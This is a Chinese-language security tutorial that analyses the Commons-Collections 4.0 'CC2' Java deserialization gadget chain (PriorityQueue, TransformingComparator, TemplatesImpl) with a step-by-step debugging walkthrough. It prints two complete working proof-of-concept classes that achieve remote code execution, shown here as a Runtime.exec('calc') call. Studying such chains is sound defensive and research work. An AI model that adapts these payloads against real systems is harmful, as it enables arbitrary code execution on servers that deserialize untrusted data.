0x01 前言

cc1有版本限制,原因在于高版本8u71的JDK改写了AnnotationInvocationHandler的readobject方法,导致readObject反序列化时出现一些异常。因此在1.8u71以上的JDK,我们可以尝试使用cc2,cc2依赖commons-collections4:4.0。
分析所用的jdk版本:8u202
maven添加依赖:

  1. <dependency>
  2. <groupId>org.apache.commons</groupId>
  3. <artifactId>commons-collections4</artifactId>
  4. <version>4.0</version>
  5. </dependency>

0x02 相关知识

javasist

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。它可以在Java程序运行时定义一个新的类,并加载到JVM中;还可以在JVM加载时修改一个类文件。Javassist使用户不必关心字节码相关的规范也是可以编辑类文件的。
maven添加依赖:

  1. <dependency>
  2. <groupId>org.javassist</groupId>
  3. <artifactId>javassist</artifactId>
  4. <version>3.25.0-GA</version>
  5. </dependency>

相关类:

  • ClassPool:javassist的类池,使用ClassPool 类可以跟踪和控制所操作的类,它的工作方式与 JVM 类装载器非常相似
  • CtClass: CtClass提供了类的操作,如在类中动态添加新字段、方法和构造函数、以及改变类、父类和接口的方法。
  • CtField:类的属性,通过它可以给类创建新的属性,还可以修改已有的属性的类型,访问修饰符等
  • CtMethod:类中的方法,通过它可以给类创建新的方法,还可以修改返回类型,访问修饰符等, 甚至还可以修改方法体内容代码
  • CtConstructor:与CtMethod类似

示例:

  1. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  2. import javassist.*;
  3. public class Demo {
  4. public static void main(String[] args) throws Exception{
  5. // 获取默认类池
  6. ClassPool pool = ClassPool.getDefault();
  7. // 增加AbstractTranslet类的路径为搜索路径
  8. pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  9. // 创建Evil类
  10. CtClass test = pool.makeClass("Evil");
  11. String name = "Evil" + System.nanoTime();
  12. // 修改Evil类的名字
  13. test.setName(name);
  14. String cmd = "System.out.println(\"Hello,Javasist\");";
  15. // 设置继承的类
  16. test.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  17. // 设置默认空构造函数
  18. CtConstructor constructor = test.makeClassInitializer();
  19. // 将字节码插入类开头
  20. constructor.insertBefore(cmd);
  21. // 字节码写入路径
  22. test.writeFile("./");
  23. }
  24. }

image.png

PriorityQueue

PriorityQueue是优先队列,作用是保证每次取出的元素都是队列中权值最小的,这里涉及到了大小关系,元素大小的评判可以通过元素自身的自然顺序(使用默认的比较器),也可以通过构造时传入的比较器。Java中PriorityQueue实现了Queue接口,不允许放入null元素。

TransformingComparator

比较器,其compare方法会调用transform方法
image.png

TemplatesImpl

该类中对defineClass进行了重写,并且没有显式的对定义域进行声明,可以被外部进行调用。我们可以进行一系列的调用来触发,因此可以利用它来加载字节码,利用链如下所示。其中getOutputProperties()
和newTransformer()方法作用域为public可以被外部调用,因此这两个方法可以作为入口。

  1. TemplatesImpl.getOutputProperties()
  2. TemplatesImpl.newTransformer()
  3. TemplatesImpl.getTransletInstance()
  4. TemplatesImpl.defineTransletClasses()
  5. TransletClassLoader.defineClass()

0x03 利用链分析

CC2利用链代码如下:

  1. import javassist.ClassPool;
  2. import javassist.CtClass;
  3. import org.apache.commons.collections4.comparators.TransformingComparator;
  4. import org.apache.commons.collections4.functors.InvokerTransformer;
  5. import java.io.FileInputStream;
  6. import java.io.FileOutputStream;
  7. import java.io.ObjectInputStream;
  8. import java.io.ObjectOutputStream;
  9. import java.lang.reflect.Field;
  10. import java.util.PriorityQueue;
  11. public class cc2 {
  12. public static void main(String[] args) throws Exception {
  13. String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
  14. String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  15. ClassPool classPool=ClassPool.getDefault();//返回默认的类池
  16. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  17. CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
  18. payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
  19. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
  20. byte[] bytes=payload.toBytecode();//转换为byte数组
  21. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
  22. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
  23. field.setAccessible(true);//暴力反射
  24. field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
  25. Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
  26. field1.setAccessible(true);//暴力反射
  27. field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
  28. InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
  29. TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
  30. PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
  31. queue.add(1);//添加数字1插入此优先级队列
  32. queue.add(1);//添加数字1插入此优先级队列
  33. Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
  34. field2.setAccessible(true);//暴力反射
  35. field2.set(queue,comparator);//设置queue的comparator字段值为comparator
  36. Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
  37. field3.setAccessible(true);//暴力反射
  38. field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
  39. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
  40. outputStream.writeObject(queue);
  41. outputStream.close();
  42. ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
  43. inputStream.readObject();
  44. }
  45. }

调用链如下:

  1. ObjectInputStream.readObject() //输入流传值后调用readObject进行反序列化
  2. PriorityQueue.readObject() //进入CC2 入口,readObject
  3. PriorityQueue.heapify()
  4. PriorityQueue.siftDown
  5. PriorityQueue.siftDownUsingConparator()
  6. TransformingComparator.compare()
  7. InvokerTransformer.transform()
  8. Method.invoke()
  9. TemplatesImpl.newTransformer()
  10. TemplatesImpl.getTransletInstance()
  11. TemplatesImpl.defineTransletClasses()
  12. TransletClassLoader.defineClass()
  13. newInstance()
  14. Runtime.getRuntime().exec("calc.exe")

CC2代码比CC1复杂了一些,这里分步骤对利用链进行分析。

javasist生成恶意类

  1. ClassPool classPool=ClassPool.getDefault();//返回默认的类池
  2. classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
  3. CtClass payload=classPool.makeClass("CommonsCollections22222222222");//创建一个新的public类
  4. payload.setSuperclass(classPool.get(AbstractTranslet)); //设置前面创建的CommonsCollections22222222222类的父类为AbstractTranslet
  5. payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

这里通过javasist生成一个恶意类的字节码,这里是弹计算器。
需要注意恶意类的父类需要设置为AbstractTranslet

恶意类字节码保存到TemplatesImpl对象

  1. Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
  2. Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
  3. field.setAccessible(true);//暴力反射
  4. field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
  5. Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
  6. field1.setAccessible(true);//暴力反射
  7. field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

将恶意类字节码赋值给templatesImpl对象的_bytecodes属性,给_name属性随便赋值,templatesImpl类存在一个方法getTransletInstance,调用该方法可以实现对恶意类字节码的加载和生成实例,如下图所示。
图中红框解释了为什么要给_name属性赋值的原因,因为如果为null函数会直接返回。
蓝框则会从_bytes中加载恶意类字节码。
绿框解释了恶意类的父类为什么是AbstractTranslet类,这里进行了强制类型转换,并且对恶意类进行了实例化,导致恶意类static代码执行。
image.png
在defineTransletClasses类中,关键代码如下,templatesImpl类的静态内部类TransletClassLoader重写了defineClass方法,可以直接将字节码加载为类。第二个红框中代码解释了为什么恶意类父类必须是AbstractTranslet类,通过_transletIndex来控制实例化_class[]中的哪个类。
需要注意的是,p牛在Java安全漫谈中提到_tfactory不能为null,否则会报错。实际测试CC2中是不需要对该属性进行设置的。因为在CC2的入口类PriorityQueue#readObject中存在s.defaultReadObject(),该方法中会调用到TemplatesImpl的readObject方法,该方法会对_tfactory新建一个对象,就不为null了。
image.png

InvokerTransformer调用newTransformer方法

  1. InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
  2. TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象

templatesImpl类中的newTransformer会调用getTransletInstance方法。
image.png
TransformingComparator类中的compare方法会调用transform方法,只要obj1或obj2为存有恶意类字节码的TemplatesImpl对象,即可执行命令。
image.png

PriorityQueue设置comparator和queue

  1. PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
  2. queue.add(1);//添加数字1插入此优先级队列
  3. queue.add(1);//添加数字1插入此优先级队列
  4. Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
  5. field2.setAccessible(true);//暴力反射
  6. field2.set(queue,comparator);//设置queue的comparator字段值为comparator
  7. Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
  8. field3.setAccessible(true);//暴力反射
  9. field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

PriorityQueue#readObject方法中,最终会触发比较器TransformingComparator的compare方法。
这里有个问题,为什么需要add两个数据而不是0个或其它个数。
原因在于heapify中size >>> 1,>>>是无符号右移位,不管正数还是负数,高位都用0补齐(忽略符号位)。如果size是0或者1,二进制表示为00,01,右移一位之后都为0,i=-1则不会调用siftDown方法。实际上siftDown传入的queue只是第一个参数,实际上在通过反射传入queue的时候,只需要保证第一个参数是templatesImpl就可以了,第二个参数随意。
image.png

0x04 利用链调试

PriorityQueue#readObject
image.png
PriorityQueue#heapify
image.png
PriorityQueue#siftDown,传入参数为0和一个TemplatesImpl恶意对象
image.png
PriorityQueue#siftDownUsingComparator
image.png
TransformingComparator#compare,比较的参数分别是两个恶意的TemplatesImpl对象,接着调用InvokerTransformer的transfrom方法
image.png
InvokerTransformer#transform,传入对象为TemplatesImpl,即调用TemplatesImpl.newTransformer方法
image.png
TransformerImpl#newTransformer
image.png
TransformerImpl#getTransletInstance,接着会实例化恶意类,执行恶意代码
image.png
image.png
接着代码会执行到下一行,translet.postInitialization,进入该函数后namesArray为null,会抛出空指针异常,InvokerTransformer捕获异常并抛出,程序终止。
image.png
image.png

0x05 总结

CC2链比CC1链复杂了一些,其核心类是TemplatesImpl,通过该类执行恶意代码,入口点则是PriorityQueue。CC2的sink也可以使用CC1的ChainedTransformer,该版本POC如下:

  1. import org.apache.commons.collections4.Transformer;
  2. import org.apache.commons.collections4.comparators.TransformingComparator;
  3. import org.apache.commons.collections4.functors.ChainedTransformer;
  4. import org.apache.commons.collections4.functors.ConstantTransformer;
  5. import org.apache.commons.collections4.functors.InvokerTransformer;
  6. import java.io.FileInputStream;
  7. import java.io.FileOutputStream;
  8. import java.io.ObjectInputStream;
  9. import java.io.ObjectOutputStream;
  10. import java.lang.reflect.Field;
  11. import java.util.PriorityQueue;
  12. public class cc21 {
  13. public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
  14. ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
  15. new ConstantTransformer(Runtime.class),
  16. new InvokerTransformer("getMethod", new Class[] {
  17. String.class, Class[].class }, new Object[] {
  18. "getRuntime", new Class[0] }),
  19. new InvokerTransformer("invoke", new Class[] {
  20. Object.class, Object[].class }, new Object[] {
  21. null, new Object[0] }),
  22. new InvokerTransformer("exec",
  23. new Class[] { String.class }, new Object[]{"calc"})});
  24. TransformingComparator comparator = new TransformingComparator(chain);
  25. PriorityQueue queue = new PriorityQueue(1);
  26. queue.add(1);
  27. queue.add(2);
  28. Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
  29. field.setAccessible(true);
  30. field.set(queue,comparator);
  31. try {
  32. ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
  33. outputStream.writeObject(queue);
  34. outputStream.close();
  35. ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
  36. inputStream.readObject();
  37. } catch (Exception e) {
  38. e.printStackTrace();
  39. }
  40. }
  41. }

简易版的CC2的sink采用的是CC1的ChainedTransformer#transform而不是TemplatesImpl#newTransformer,但source都是PriorityQueue。需要注意的是简易版中没有以下代码:

  1. Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
  2. field3.setAccessible(true);//暴力反射
  3. field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

因为简化版的ChainedTransformer传入的参数是不影响transform方法的,而原版的CC2是使用InvokerTransformer调用newTransformer方法的,是需要传入参数为调用方法的对象,所以需要传入两个载有恶意字节码的templatesImpl对象。